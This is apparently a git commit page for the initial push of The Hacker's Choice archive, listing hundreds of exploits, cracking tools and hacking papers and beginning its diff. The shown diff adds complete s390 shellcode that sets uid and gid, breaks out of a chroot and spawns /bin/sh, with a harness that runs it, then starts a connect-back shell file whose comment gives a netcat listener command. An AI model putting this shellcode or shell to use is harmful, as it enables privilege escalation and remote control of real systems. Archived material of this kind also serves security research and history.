initial push of all stuff :)
authorvan Hauser <vh@thc.org>
Mon, 4 Jun 2018 06:00:21 +0000 (08:00 +0200)
committervan Hauser <vh@thc.org>
Mon, 4 Jun 2018 06:00:21 +0000 (08:00 +0200)
424 files changed:
Exploits/390chroot.c [new file with mode: 0644]
Exploits/390connectback.c [new file with mode: 0644]
Exploits/390execve.c [new file with mode: 0644]
Exploits/390portbind.c [new file with mode: 0644]
Exploits/David_Schulhoff_GCIH.pdf [new file with mode: 0644]
Exploits/REALSERVER_EXPLOIT_ANALYSIS.pdf [new file with mode: 0644]
Exploits/SSL_PCT_EXPLOITATION_ANALYSIS.PDF [new file with mode: 0644]
Exploits/THCIISSLame.c [new file with mode: 0644]
Exploits/THCimail.c [new file with mode: 0644]
Exploits/THCrealbad.c [new file with mode: 0644]
Exploits/THCservu.c [new file with mode: 0644]
Exploits/THCsql.c [new file with mode: 0644]
Exploits/THCunREAL.c [new file with mode: 0644]
Exploits/lpstat.c [new file with mode: 0644]
Exploits/mount.c [new file with mode: 0644]
Exploits/rdist.c [new file with mode: 0644]
Exploits/thc-ssl-dos-1.4-win-bin.zip [new file with mode: 0644]
Exploits/thc390pfinger.c [new file with mode: 0644]
Papers/0130scan.txt [new file with mode: 0644]
Papers/LKM_HACKING.html [new file with mode: 0644]
Papers/Practical-SEH-exploitation.pdf [new file with mode: 0644]
Papers/anonymous-unix.html [new file with mode: 0644]
Papers/bb-ger.txt [new file with mode: 0644]
Papers/bb-plan.gif [new file with mode: 0644]
Papers/bb-plan.txt [new file with mode: 0644]
Papers/bsdkern.html [new file with mode: 0644]
Papers/c7-monit.txt [new file with mode: 0644]
Papers/c7-ueber.txt [new file with mode: 0644]
Papers/card-ger.txt [new file with mode: 0644]
Papers/carriers.txt [new file with mode: 0644]
Papers/codewar.txt [new file with mode: 0644]
Papers/cover-1.txt [new file with mode: 0644]
Papers/cover-2.txt [new file with mode: 0644]
Papers/cupass.txt [new file with mode: 0644]
Papers/dec-serv.txt [new file with mode: 0644]
Papers/ffp-logo.jpg [new file with mode: 0644]
Papers/ffp-talk.html [new file with mode: 0644]
Papers/ffp.html [new file with mode: 0644]
Papers/ffp.pdf [new file with mode: 0644]
Papers/fw-backd.htm [new file with mode: 0644]
Papers/godown.gif [new file with mode: 0644]
Papers/h2h.htm [new file with mode: 0644]
Papers/hackers_go_corporate.txt [new file with mode: 0644]
Papers/hausdurc.txt [new file with mode: 0644]
Papers/linux-390-shellcode-devel.txt [new file with mode: 0644]
Papers/overflow.txt [new file with mode: 0644]
Papers/pbx.txt [new file with mode: 0644]
Papers/pic1.gif [new file with mode: 0644]
Papers/pic2.gif [new file with mode: 0644]
Papers/pic3.gif [new file with mode: 0644]
Papers/scheck.txt [new file with mode: 0644]
Papers/sept.txt [new file with mode: 0644]
Papers/slkm-1.0.html [new file with mode: 0644]
Papers/slkm-1.0.tar.gz [new file with mode: 0644]
Papers/smartcrd.txt [new file with mode: 0644]
Papers/strafrec.txt [new file with mode: 0644]
Papers/t-box.txt [new file with mode: 0644]
Papers/tcards.txt [new file with mode: 0644]
Papers/test.jpg [new file with mode: 0644]
Papers/thc-mag1.zip [new file with mode: 0644]
Papers/thc-mag2.zip [new file with mode: 0644]
Papers/thc-mag3.zip [new file with mode: 0644]
Papers/thc-mag4.zip [new file with mode: 0644]
Papers/thc-vodafone.pdf [new file with mode: 0644]
Papers/thc_hydra_article_r3.pdf [new file with mode: 0644]
Papers/vmb.txt [new file with mode: 0644]
Papers/writing-linux-kernel-keylogger.txt [new file with mode: 0644]
Presentations/ManilaCon-Keynote.pdf [new file with mode: 0644]
Presentations/ManilaCon-Training.pdf [new file with mode: 0644]
Presentations/ffp-logo.jpg [new file with mode: 0644]
Presentations/ffp-talk.html [new file with mode: 0644]
Presentations/ffp-talk/CVS/Entries [new file with mode: 0644]
Presentations/ffp-talk/CVS/Repository [new file with mode: 0644]
Presentations/ffp-talk/CVS/Root [new file with mode: 0644]
Presentations/ffp-talk/index.html [new file with mode: 0644]
Presentations/ffp-talk/mgp00001.html [new file with mode: 0644]
Presentations/ffp-talk/mgp00001.idx.jpg [new file with mode: 0644]
Presentations/ffp-talk/mgp00001.jpg [new file with mode: 0644]
Presentations/ffp-talk/mgp00001.txt [new file with mode: 0644]
Presentations/ffp-talk/mgp00002.html [new file with mode: 0644]
Presentations/ffp-talk/mgp00002.idx.jpg [new file with mode: 0644]
Presentations/ffp-talk/mgp00002.jpg [new file with mode: 0644]
Presentations/ffp-talk/mgp00002.txt [new file with mode: 0644]
Presentations/ffp-talk/mgp00003.html [new file with mode: 0644]
Presentations/ffp-talk/mgp00003.idx.jpg [new file with mode: 0644]
Presentations/ffp-talk/mgp00003.jpg [new file with mode: 0644]
Presentations/ffp-talk/mgp00003.txt [new file with mode: 0644]
Presentations/ffp-talk/mgp00004.html [new file with mode: 0644]
Presentations/ffp-talk/mgp00004.idx.jpg [new file with mode: 0644]
Presentations/ffp-talk/mgp00004.jpg [new file with mode: 0644]
Presentations/ffp-talk/mgp00004.txt [new file with mode: 0644]
Presentations/ffp-talk/mgp00005.html [new file with mode: 0644]
Presentations/ffp-talk/mgp00005.idx.jpg [new file with mode: 0644]
Presentations/ffp-talk/mgp00005.jpg [new file with mode: 0644]
Presentations/ffp-talk/mgp00005.txt [new file with mode: 0644]
Presentations/ffp-talk/mgp00006.html [new file with mode: 0644]
Presentations/ffp-talk/mgp00006.idx.jpg [new file with mode: 0644]
Presentations/ffp-talk/mgp00006.jpg [new file with mode: 0644]
Presentations/ffp-talk/mgp00006.txt [new file with mode: 0644]
Presentations/ffp-talk/mgp00007.html [new file with mode: 0644]
Presentations/ffp-talk/mgp00007.idx.jpg [new file with mode: 0644]
Presentations/ffp-talk/mgp00007.jpg [new file with mode: 0644]
Presentations/ffp-talk/mgp00007.txt [new file with mode: 0644]
Presentations/ffp-talk/mgp00008.html [new file with mode: 0644]
Presentations/ffp-talk/mgp00008.idx.jpg [new file with mode: 0644]
Presentations/ffp-talk/mgp00008.jpg [new file with mode: 0644]
Presentations/ffp-talk/mgp00008.txt [new file with mode: 0644]
Presentations/ffp-talk/mgp00009.html [new file with mode: 0644]
Presentations/ffp-talk/mgp00009.idx.jpg [new file with mode: 0644]
Presentations/ffp-talk/mgp00009.jpg [new file with mode: 0644]
Presentations/ffp-talk/mgp00009.txt [new file with mode: 0644]
Presentations/ffp-talk/mgp00010.html [new file with mode: 0644]
Presentations/ffp-talk/mgp00010.idx.jpg [new file with mode: 0644]
Presentations/ffp-talk/mgp00010.jpg [new file with mode: 0644]
Presentations/ffp-talk/mgp00010.txt [new file with mode: 0644]
Presentations/ffp-talk/mgp00011.html [new file with mode: 0644]
Presentations/ffp-talk/mgp00011.idx.jpg [new file with mode: 0644]
Presentations/ffp-talk/mgp00011.jpg [new file with mode: 0644]
Presentations/ffp-talk/mgp00011.txt [new file with mode: 0644]
Presentations/ffp-talk/mgp00012.html [new file with mode: 0644]
Presentations/ffp-talk/mgp00012.idx.jpg [new file with mode: 0644]
Presentations/ffp-talk/mgp00012.jpg [new file with mode: 0644]
Presentations/ffp-talk/mgp00012.txt [new file with mode: 0644]
Presentations/ffp-talk/mgp00013.html [new file with mode: 0644]
Presentations/ffp-talk/mgp00013.idx.jpg [new file with mode: 0644]
Presentations/ffp-talk/mgp00013.jpg [new file with mode: 0644]
Presentations/ffp-talk/mgp00013.txt [new file with mode: 0644]
Presentations/ffp-talk/mgp00014.html [new file with mode: 0644]
Presentations/ffp-talk/mgp00014.idx.jpg [new file with mode: 0644]
Presentations/ffp-talk/mgp00014.jpg [new file with mode: 0644]
Presentations/ffp-talk/mgp00014.txt [new file with mode: 0644]
Presentations/ffp-talk/mgp00015.html [new file with mode: 0644]
Presentations/ffp-talk/mgp00015.idx.jpg [new file with mode: 0644]
Presentations/ffp-talk/mgp00015.jpg [new file with mode: 0644]
Presentations/ffp-talk/mgp00015.txt [new file with mode: 0644]
Presentations/ffp-talk/mgp00016.html [new file with mode: 0644]
Presentations/ffp-talk/mgp00016.idx.jpg [new file with mode: 0644]
Presentations/ffp-talk/mgp00016.jpg [new file with mode: 0644]
Presentations/ffp-talk/mgp00016.txt [new file with mode: 0644]
Presentations/ffp-talk/mgp00017.html [new file with mode: 0644]
Presentations/ffp-talk/mgp00017.idx.jpg [new file with mode: 0644]
Presentations/ffp-talk/mgp00017.jpg [new file with mode: 0644]
Presentations/ffp-talk/mgp00017.txt [new file with mode: 0644]
Presentations/ffp-talk/mgp00018.html [new file with mode: 0644]
Presentations/ffp-talk/mgp00018.idx.jpg [new file with mode: 0644]
Presentations/ffp-talk/mgp00018.jpg [new file with mode: 0644]
Presentations/ffp-talk/mgp00018.txt [new file with mode: 0644]
Presentations/ffp-talk/mgp00019.html [new file with mode: 0644]
Presentations/ffp-talk/mgp00019.idx.jpg [new file with mode: 0644]
Presentations/ffp-talk/mgp00019.jpg [new file with mode: 0644]
Presentations/ffp-talk/mgp00019.txt [new file with mode: 0644]
Presentations/ffp-talk/mgp00020.html [new file with mode: 0644]
Presentations/ffp-talk/mgp00020.idx.jpg [new file with mode: 0644]
Presentations/ffp-talk/mgp00020.jpg [new file with mode: 0644]
Presentations/ffp-talk/mgp00020.txt [new file with mode: 0644]
Presentations/ffp-talk/mgp00021.html [new file with mode: 0644]
Presentations/ffp-talk/mgp00021.idx.jpg [new file with mode: 0644]
Presentations/ffp-talk/mgp00021.jpg [new file with mode: 0644]
Presentations/ffp-talk/mgp00021.txt [new file with mode: 0644]
Presentations/ffp-talk/mgp00022.html [new file with mode: 0644]
Presentations/ffp-talk/mgp00022.idx.jpg [new file with mode: 0644]
Presentations/ffp-talk/mgp00022.jpg [new file with mode: 0644]
Presentations/ffp-talk/mgp00022.txt [new file with mode: 0644]
Presentations/ffp-talk/mgp00023.html [new file with mode: 0644]
Presentations/ffp-talk/mgp00023.idx.jpg [new file with mode: 0644]
Presentations/ffp-talk/mgp00023.jpg [new file with mode: 0644]
Presentations/ffp-talk/mgp00023.txt [new file with mode: 0644]
Presentations/ffp-talk/mgp00024.html [new file with mode: 0644]
Presentations/ffp-talk/mgp00024.idx.jpg [new file with mode: 0644]
Presentations/ffp-talk/mgp00024.jpg [new file with mode: 0644]
Presentations/ffp-talk/mgp00024.txt [new file with mode: 0644]
Presentations/ffp-talk/mgp00025.html [new file with mode: 0644]
Presentations/ffp-talk/mgp00025.idx.jpg [new file with mode: 0644]
Presentations/ffp-talk/mgp00025.jpg [new file with mode: 0644]
Presentations/ffp-talk/mgp00025.txt [new file with mode: 0644]
Presentations/ffp-talk/mgp00026.html [new file with mode: 0644]
Presentations/ffp-talk/mgp00026.idx.jpg [new file with mode: 0644]
Presentations/ffp-talk/mgp00026.jpg [new file with mode: 0644]
Presentations/ffp-talk/mgp00026.txt [new file with mode: 0644]
Presentations/ffp-talk/mgp00027.html [new file with mode: 0644]
Presentations/ffp-talk/mgp00027.idx.jpg [new file with mode: 0644]
Presentations/ffp-talk/mgp00027.jpg [new file with mode: 0644]
Presentations/ffp-talk/mgp00027.txt [new file with mode: 0644]
Presentations/ffp-talk/mgp00028.html [new file with mode: 0644]
Presentations/ffp-talk/mgp00028.idx.jpg [new file with mode: 0644]
Presentations/ffp-talk/mgp00028.jpg [new file with mode: 0644]
Presentations/ffp-talk/mgp00028.txt [new file with mode: 0644]
Presentations/ffp-talk/mgp00029.html [new file with mode: 0644]
Presentations/ffp-talk/mgp00029.idx.jpg [new file with mode: 0644]
Presentations/ffp-talk/mgp00029.jpg [new file with mode: 0644]
Presentations/ffp-talk/mgp00029.txt [new file with mode: 0644]
Presentations/ffp-talk/mgp00030.html [new file with mode: 0644]
Presentations/ffp-talk/mgp00030.idx.jpg [new file with mode: 0644]
Presentations/ffp-talk/mgp00030.jpg [new file with mode: 0644]
Presentations/ffp-talk/mgp00030.txt [new file with mode: 0644]
Presentations/ffp-talk/mgp00031.html [new file with mode: 0644]
Presentations/ffp-talk/mgp00031.idx.jpg [new file with mode: 0644]
Presentations/ffp-talk/mgp00031.jpg [new file with mode: 0644]
Presentations/ffp-talk/mgp00031.txt [new file with mode: 0644]
Presentations/ffp-talk/mgp00032.html [new file with mode: 0644]
Presentations/ffp-talk/mgp00032.idx.jpg [new file with mode: 0644]
Presentations/ffp-talk/mgp00032.jpg [new file with mode: 0644]
Presentations/ffp-talk/mgp00032.txt [new file with mode: 0644]
Presentations/ffp-talk/mgp00033.html [new file with mode: 0644]
Presentations/ffp-talk/mgp00033.idx.jpg [new file with mode: 0644]
Presentations/ffp-talk/mgp00033.jpg [new file with mode: 0644]
Presentations/ffp-talk/mgp00033.txt [new file with mode: 0644]
Presentations/ffp-talk/mgp00034.html [new file with mode: 0644]
Presentations/ffp-talk/mgp00034.idx.jpg [new file with mode: 0644]
Presentations/ffp-talk/mgp00034.jpg [new file with mode: 0644]
Presentations/ffp-talk/mgp00034.txt [new file with mode: 0644]
Presentations/ffp-talk/mgp00035.html [new file with mode: 0644]
Presentations/ffp-talk/mgp00035.idx.jpg [new file with mode: 0644]
Presentations/ffp-talk/mgp00035.jpg [new file with mode: 0644]
Presentations/ffp-talk/mgp00035.txt [new file with mode: 0644]
Presentations/ffp-talk/mgp00036.html [new file with mode: 0644]
Presentations/ffp-talk/mgp00036.idx.jpg [new file with mode: 0644]
Presentations/ffp-talk/mgp00036.jpg [new file with mode: 0644]
Presentations/ffp-talk/mgp00036.txt [new file with mode: 0644]
Presentations/thc-vh-amap_grenzgaenger.pdf [new file with mode: 0644]
README.md
T-Shirts/README.md [new file with mode: 0644]
T-Shirts/THCShirtBACK-2011.eps [new file with mode: 0644]
T-Shirts/THCShirtFRONT-2011.eps [new file with mode: 0644]
T-Shirts/thc_t-shirt_1996_shirt1.JPG [new file with mode: 0644]
T-Shirts/thc_t-shirt_1996_shirt2.JPG [new file with mode: 0644]
T-Shirts/thc_t-shirt_1997.JPG [new file with mode: 0644]
T-Shirts/thc_t-shirt_1998.JPG [new file with mode: 0644]
T-Shirts/thc_t-shirt_1999.JPG [new file with mode: 0644]
T-Shirts/thc_t-shirt_2001.JPG [new file with mode: 0644]
T-Shirts/thc_t-shirt_2002.JPG [new file with mode: 0644]
T-Shirts/thc_t-shirt_2003.JPG [new file with mode: 0644]
T-Shirts/thc_t-shirt_2004.JPG [new file with mode: 0644]
T-Shirts/thc_t-shirt_2005_TAX_PARTY_SHIRT_SMALL.JPG [new file with mode: 0644]
T-Shirts/thc_t-shirt_2010.png [new file with mode: 0644]
T-Shirts/thc_t-shirt_2011.jpg [new file with mode: 0644]
T-Shirts/thc_t-shirt_2013.jpg [new file with mode: 0644]
Tools/THC-CUPASS10.zip [new file with mode: 0644]
Tools/THC-PassID.zip [new file with mode: 0644]
Tools/THC-SCAN-2.01.ZIP [new file with mode: 0644]
Tools/THCSSLCheck.zip [new file with mode: 0644]
Tools/THCSSLProxy.zip [new file with mode: 0644]
Tools/THCbindinfo.c [new file with mode: 0644]
Tools/THCsmbgetOS.c [new file with mode: 0644]
Tools/THCsnooze-0.0.7.tar.gz [new file with mode: 0644]
Tools/amap-0.95.tar.gz [new file with mode: 0644]
Tools/amap-1.2.1.tgz [new file with mode: 0644]
Tools/amap-2.1.tar.gz [new file with mode: 0644]
Tools/amap-2.5.tar.gz [new file with mode: 0644]
Tools/amap-2.7.tar.gz [new file with mode: 0644]
Tools/amap-4.0.tar.gz [new file with mode: 0644]
Tools/amap-4.2.tar.gz [new file with mode: 0644]
Tools/amap-4.3.tar.gz [new file with mode: 0644]
Tools/amap-4.5.tar.gz [new file with mode: 0644]
Tools/amap-4.6.tar.gz [new file with mode: 0644]
Tools/amap-4.7.tar.gz [new file with mode: 0644]
Tools/amap-4.8-win.zip [new file with mode: 0644]
Tools/amap-4.8.tar.gz [new file with mode: 0644]
Tools/amap-5.0-win.zip [new file with mode: 0644]
Tools/amap-5.0.tar.gz [new file with mode: 0644]
Tools/amap-5.1-win.zip [new file with mode: 0644]
Tools/amap-5.1.tar.gz [new file with mode: 0644]
Tools/amap-5.2-win.zip [new file with mode: 0644]
Tools/amap-5.2.tar.gz [new file with mode: 0644]
Tools/amap-5.3.tar.gz [new file with mode: 0644]
Tools/amap-5.4.tar.gz [new file with mode: 0644]
Tools/ciscocrack.c [new file with mode: 0644]
Tools/dosfndecode.sh [new file with mode: 0644]
Tools/ffp-0.0.8.tar.gz [new file with mode: 0644]
Tools/flood-connect-1.5.tar.gz [new file with mode: 0644]
Tools/git-0.1.tar.gz [new file with mode: 0644]
Tools/grenzgaenger-alpha.tar.gz [new file with mode: 0644]
Tools/hydra-1.6.tar.gz [new file with mode: 0644]
Tools/hydra-2.1.tar.gz [new file with mode: 0644]
Tools/hydra-2.2.tar.gz [new file with mode: 0644]
Tools/hydra-2.4.tar.gz [new file with mode: 0644]
Tools/hydra-2.5.tar.gz [new file with mode: 0644]
Tools/hydra-2.6.tar.gz [new file with mode: 0644]
Tools/hydra-2.7.tar.gz [new file with mode: 0644]
Tools/hydra-3.0.tar.gz [new file with mode: 0644]
Tools/hydra-3.1.tar.gz [new file with mode: 0644]
Tools/hydra-4.0-arm.tar.gz [new file with mode: 0644]
Tools/hydra-4.0-palm.zip [new file with mode: 0644]
Tools/hydra-4.0-src.tar.gz [new file with mode: 0644]
Tools/hydra-4.0-win.zip [new file with mode: 0644]
Tools/hydra-4.1-arm.tar.gz [new file with mode: 0644]
Tools/hydra-4.1-palm.zip [new file with mode: 0644]
Tools/hydra-4.1-src.tar.gz [new file with mode: 0644]
Tools/hydra-4.1-win.zip [new file with mode: 0644]
Tools/hydra-4.2-arm.tar.gz [new file with mode: 0644]
Tools/hydra-4.2-src.tar.gz [new file with mode: 0644]
Tools/hydra-4.2-win.zip [new file with mode: 0644]
Tools/hydra-4.3-arm.tar.gz [new file with mode: 0644]
Tools/hydra-4.3-src.tar.gz [new file with mode: 0644]
Tools/hydra-4.3-win.zip [new file with mode: 0644]
Tools/hydra-4.4-src.tar.gz [new file with mode: 0644]
Tools/hydra-4.4-win.zip [new file with mode: 0644]
Tools/hydra-4.5-arm.tar.gz [new file with mode: 0644]
Tools/hydra-4.5-src.tar.gz [new file with mode: 0644]
Tools/hydra-4.5-win.zip [new file with mode: 0644]
Tools/hydra-4.6-palm.zip [new file with mode: 0644]
Tools/hydra-4.6-src.tar.gz [new file with mode: 0644]
Tools/hydra-4.6-win.zip [new file with mode: 0644]
Tools/hydra-4.7-src.tar.gz [new file with mode: 0644]
Tools/hydra-4.7-win.zip [new file with mode: 0644]
Tools/hydra-5.0-src.tar.gz [new file with mode: 0644]
Tools/hydra-5.0-win.zip [new file with mode: 0644]
Tools/hydra-5.1-src.tar.gz [new file with mode: 0644]
Tools/hydra-5.2-src.tar.gz [new file with mode: 0644]
Tools/hydra-5.3-src.tar.gz [new file with mode: 0644]
Tools/hydra-5.4-src.tar.gz [new file with mode: 0644]
Tools/hydra-5.7-src.tar.gz [new file with mode: 0644]
Tools/hydra-5.8-src.tar.gz [new file with mode: 0644]
Tools/hydra-5.9-src.tar.gz [new file with mode: 0644]
Tools/hydra-5.9.1-src.tar.gz [new file with mode: 0644]
Tools/hydra-6.0-src.tar.gz [new file with mode: 0644]
Tools/hydra-6.1-src.tar.gz [new file with mode: 0644]
Tools/hydra-6.2-src.tar.gz [new file with mode: 0644]
Tools/hydra-6.3-src.tar.gz [new file with mode: 0644]
Tools/hydra-6.4-src.tar.gz [new file with mode: 0644]
Tools/hydra-6.5-src.tar.gz [new file with mode: 0644]
Tools/hydra-7.0-src.tar.gz [new file with mode: 0644]
Tools/hydra-7.1-src.tar.gz [new file with mode: 0644]
Tools/hydra-7.2-src.tar.gz [new file with mode: 0644]
Tools/hydra-7.3-src.tar.gz [new file with mode: 0644]
Tools/hydra-7.3.tar.gz [new file with mode: 0644]
Tools/hydra-7.4.1.tar.gz [new file with mode: 0644]
Tools/hydra-7.4.2.tar.gz [new file with mode: 0644]
Tools/hydra-7.4.tar.gz [new file with mode: 0644]
Tools/hydra-7.5.tar.gz [new file with mode: 0644]
Tools/hydra-7.6.tar.gz [new file with mode: 0644]
Tools/hydra-8.0.tar.gz [new file with mode: 0644]
Tools/hydra-8.1.tar.gz [new file with mode: 0644]
Tools/hydra-8.2.tar.gz [new file with mode: 0644]
Tools/hydra-8.3.tar.gz [new file with mode: 0644]
Tools/hydra-8.4.tar.gz [new file with mode: 0644]
Tools/hydra-8.5.tar.gz [new file with mode: 0644]
Tools/hydra-8.6.tar.gz [new file with mode: 0644]
Tools/hydra_4.5_arm.ipk [new file with mode: 0644]
Tools/hydra_5.0_arm.ipk [new file with mode: 0644]
Tools/irc-prolet.bx [new file with mode: 0644]
Tools/is-1.0.tar.gz [new file with mode: 0644]
Tools/keyfinder.c [new file with mode: 0644]
Tools/login_hacker-1.1.tar.gz [new file with mode: 0644]
Tools/manipulate_data-1.0.tar.gz [new file with mode: 0644]
Tools/manipulate_data-1.1.tar.gz [new file with mode: 0644]
Tools/manipulate_data-1.3.tar.gz [new file with mode: 0644]
Tools/parasite-1.1.tar.gz [new file with mode: 0644]
Tools/parasite-1.2.tar.gz [new file with mode: 0644]
Tools/probe-4.1.tar.gz [new file with mode: 0644]
Tools/rwwwshell-2.0.pl.gz [new file with mode: 0644]
Tools/secure_delete-2.3.tar.gz [new file with mode: 0644]
Tools/secure_delete-3.0.tar.gz [new file with mode: 0644]
Tools/secure_delete-3.1.tar.gz [new file with mode: 0644]
Tools/shagg-0.1.1.tar.gz [new file with mode: 0644]
Tools/shagg-0.2.0.tar.gz [new file with mode: 0644]
Tools/snip.sh [new file with mode: 0644]
Tools/thc-at_t.zip [new file with mode: 0644]
Tools/thc-c191.zip [new file with mode: 0644]
Tools/thc-crut-0.1.tar.gz [new file with mode: 0644]
Tools/thc-gd10.zip [new file with mode: 0644]
Tools/thc-gv15.zip [new file with mode: 0644]
Tools/thc-hb09.zip [new file with mode: 0644]
Tools/thc-ipf10.zip [new file with mode: 0644]
Tools/thc-ipv6-0.6.tar.gz [new file with mode: 0644]
Tools/thc-ipv6-0.7.tar.gz [new file with mode: 0644]
Tools/thc-ipv6-1.1.tar.gz [new file with mode: 0644]
Tools/thc-ipv6-1.2.tar.gz [new file with mode: 0644]
Tools/thc-ipv6-1.4.tar.gz [new file with mode: 0644]
Tools/thc-ipv6-1.6.tar.gz [new file with mode: 0644]
Tools/thc-ipv6-1.8.tar.gz [new file with mode: 0644]
Tools/thc-ipv6-1.9.tar.gz [new file with mode: 0644]
Tools/thc-ipv6-2.0.tar.gz [new file with mode: 0644]
Tools/thc-ipv6-2.1.tar.gz [new file with mode: 0644]
Tools/thc-ipv6-2.3.tar.gz [new file with mode: 0644]
Tools/thc-ipv6-2.5.tar.gz [new file with mode: 0644]
Tools/thc-ipv6-2.7.tar.gz [new file with mode: 0644]
Tools/thc-ipv6-3.0.tar.gz [new file with mode: 0644]
Tools/thc-ipv6-3.2.tar.gz [new file with mode: 0644]
Tools/thc-ipv6-3.4.tar.gz [new file with mode: 0644]
Tools/thc-leapcracker-0.1.tar.gz [new file with mode: 0644]
Tools/thc-lh11.zip [new file with mode: 0644]
Tools/thc-mag1.zip [new file with mode: 0644]
Tools/thc-mag2.zip [new file with mode: 0644]
Tools/thc-mag3.zip [new file with mode: 0644]
Tools/thc-mag4.zip [new file with mode: 0644]
Tools/thc-nokia-unlock.zip [new file with mode: 0644]
Tools/thc-orakel.tar.gz [new file with mode: 0644]
Tools/thc-orakelcrackert11g.tar.gz [new file with mode: 0644]
Tools/thc-pd12.zip [new file with mode: 0644]
Tools/thc-ph11.zip [new file with mode: 0644]
Tools/thc-pptp-bruter-0.1.4.tar.gz [new file with mode: 0644]
Tools/thc-rahk.zip [new file with mode: 0644]
Tools/thc-rak2.zip [new file with mode: 0644]
Tools/thc-ts20.zip [new file with mode: 0644]
Tools/thc-ts201.zip [new file with mode: 0644]
Tools/thc-uht1.tgz [new file with mode: 0644]
Tools/thc_hack_bsd-v0.1b.tar.gz [new file with mode: 0644]
Tools/thc_imap_bruter.c [new file with mode: 0644]
Tools/thc_ssh_crack.c [new file with mode: 0644]
Tools/thcdbfp.zip [new file with mode: 0644]
Tools/thcirc-0.2e.tar.gz [new file with mode: 0644]
Tools/thcrut-0.1.tar.gz [new file with mode: 0644]
Tools/thcrut-1.2.4d.tar.gz [new file with mode: 0644]
Tools/thcrut-1.2.4g.tar.gz [new file with mode: 0644]
Tools/thcrut-1.2.5.tar.gz [new file with mode: 0644]
Tools/thcrut-1.2.tar.gz [new file with mode: 0644]
Tools/thcrut.tar.gz [new file with mode: 0644]
Tools/thcsmartbrute-1.0.tar.gz [new file with mode: 0644]
Tools/tsng-1.0.tar.gz [new file with mode: 0644]
Tools/tsng-1.1.tar.gz [new file with mode: 0644]
Tools/vlogger-2.1.1.tar.gz [new file with mode: 0644]
Tools/vlogger-2.1.tar.gz [new file with mode: 0644]
Tools/vmap-0.6.tar.gz [new file with mode: 0644]
Tools/wardrive-2.3.tar.gz [new file with mode: 0644]
Tools/wardrive-2.4.tar.gz [new file with mode: 0644]
Tools/yaotp-0.1.tar.gz [new file with mode: 0644]
Unreleased_Stuff/Nose.tar.gz [new file with mode: 0644]
Unreleased_Stuff/arp_spoof.tar.gz [new file with mode: 0644]
Unreleased_Stuff/flood_connect-2.1.c [new file with mode: 0644]
Unreleased_Stuff/fragnet.tar.gz [new file with mode: 0644]
Unreleased_Stuff/is-1.0.tar.gz [new file with mode: 0644]
Unreleased_Stuff/thc!car2.zip [new file with mode: 0644]
Unreleased_Stuff/thc-hb09-private.zip [new file with mode: 0644]

diff --git a/Exploits/390chroot.c b/Exploits/390chroot.c
new file mode 100644 (file)
index 0000000..5e08bfa
--- /dev/null
@@ -0,0 +1,65 @@
+/*----------------------------------------------------------------------*/
+/* s390 shellcode 0x0a / 0x0 free                                      */
+/* setuid / setgid / chroot break                                      */
+/* code jcyberpunk@thehackerschoice.com                                        */
+/*----------------------------------------------------------------------*/
+char shellcode[] =
+"\x0d\x10"             /* basr %r1,0                                   */
+"\x41\x90\x10\x98"     /* la   %r9,152(%r1)                            */
+"\xa7\xa8\xfb\xb4"     /* lhi  %r10,-1100                              */
+"\xa7\x68\x04\x56"     /* lhi  %r6,1110                                */
+"\x1a\x6a"             /* ar   %r6,%r10                                */
+"\x42\x60\x10\x98"     /* stc  %r6,152(%r1)                            */
+"\x17\x22"             /* xr   %r2,%r2                                 */
+"\x42\x20\x10\x9f"     /* stc  %r2,159(%r1)                            */
+"\x0d\xe9"             /* basr %r14,%r9                                */
+"\xa7\x68\x04\x7a"     /* lhi  %r6,1146                                */
+"\x1a\x6a"             /* ar   %r6,%r10                                */
+"\x42\x60\x10\x99"     /* stc  %r6,153(%r1)                            */
+"\x0d\xe9"             /* basr %r14,%r9                                */
+"\x41\x20\x10\x9c"     /* la   %r2,156(%r1)                            */
+"\x17\x33"             /* xr   %r3,%r3                                 */
+"\xa7\x68\x04\x73"     /* lhi  %r6,1139                                */
+"\x1a\x6a"             /* ar   %r6,%r10                                */
+"\x42\x60\x10\x99"     /* stc  %r6,153(%r1)                            */
+"\x0d\xe9"             /* basr %r14,%r9                                */
+"\x41\x20\x10\x9c"     /* la   %r2,156(%r1)                            */
+"\xa7\x68\x04\x89"     /* lhi  %r6,1161                                */
+"\x1a\x6a"             /* ar   %r6,%r10                                */
+"\x42\x60\x10\x99"     /* stc  %r6,153(%r1)                            */
+"\x0d\xe9"             /* basr %r14,%r9                                */
+"\xa7\xb8\x05\x39"     /* lhi  %r11,1337                               */
+"\x1a\xba"             /* ar   %r11,%r10                               */
+"\xa7\x68\x04\x58"     /* lhi  %r6,1112                                */
+"\x1a\x6a"             /* ar   %r6,%r10                                */
+"\x42\x60\x10\x99"     /* stc  %r6,153(%r1)                            */
+"\x41\x20\x10\x9d"     /* la   %r2,157(%r1)                            */
+"\x0d\xe9"             /* basr %r14,%r9                                */
+"\x46\xb0\x10\x58"     /* bct  %r11,88(%r1)                            */
+"\x41\x20\x10\x9e"     /* la   %r2,158(%r1)                            */
+"\xa7\x68\x04\x89"     /* lhi  %r6,1161                                */
+"\x1a\x6a"             /* ar   %r6,%r10                                */
+"\x42\x60\x10\x99"     /* stc  %r6,153(%r1)                            */
+"\x0d\xe9"             /* basr %r14,%r9                                */
+"\xa7\x68\x04\x57"     /* lhi  %r6,1111                                */
+"\x1a\x6a"             /* ar   %r6,%r10                                */
+"\x42\x60\x10\x99"     /* stc  %r6,153(%r1)                            */
+"\x41\x20\x10\xa0"     /* la   %r2,160(%r1)                            */
+"\x50\x20\x10\xa8"     /* st   %r2,168(%r1)                            */
+"\x41\x30\x10\xa8"     /* la   %r3,168(%r1)                            */
+"\x17\x44"             /* xr   %r4,%r4                                 */
+"\x42\x40\x10\xa7"     /* stc  %r4,167(%r1)                            */
+"\x50\x40\x10\xac"     /* st   %r4,172(%r1)                            */
+"\x41\x40\x10\xac"     /* la   %r4,172(%r1)                            */
+"\x0d\xe9"             /* basr %r14,%r9                                */
+"\x0b\x17"             /* svc  23              <--- after modification */
+"\x07\xfe"             /* br   %r14                                    */
+"\x41\x2e\x2e\x5c"     /* A..  <---- used for mkdir,chroot,chdir       */
+"\x2f\x62\x69\x6e"     /* /bin                                         */
+"\x2f\x73\x68\x5c";    /* /sh\\                                        */
+
+main()
+{
+ void (*z)()=(void*)shellcode;
+ z();
+}
diff --git a/Exploits/390connectback.c b/Exploits/390connectback.c
new file mode 100644 (file)
index 0000000..2037049
--- /dev/null
@@ -0,0 +1,75 @@
+/*----------------------------------------------------------------------*/\r
+/* s390 shellcode 0x0a / 0x0 free                                       */\r
+/* connectback shell, use netcat listener from caller : nc -l -p 31337 */\r
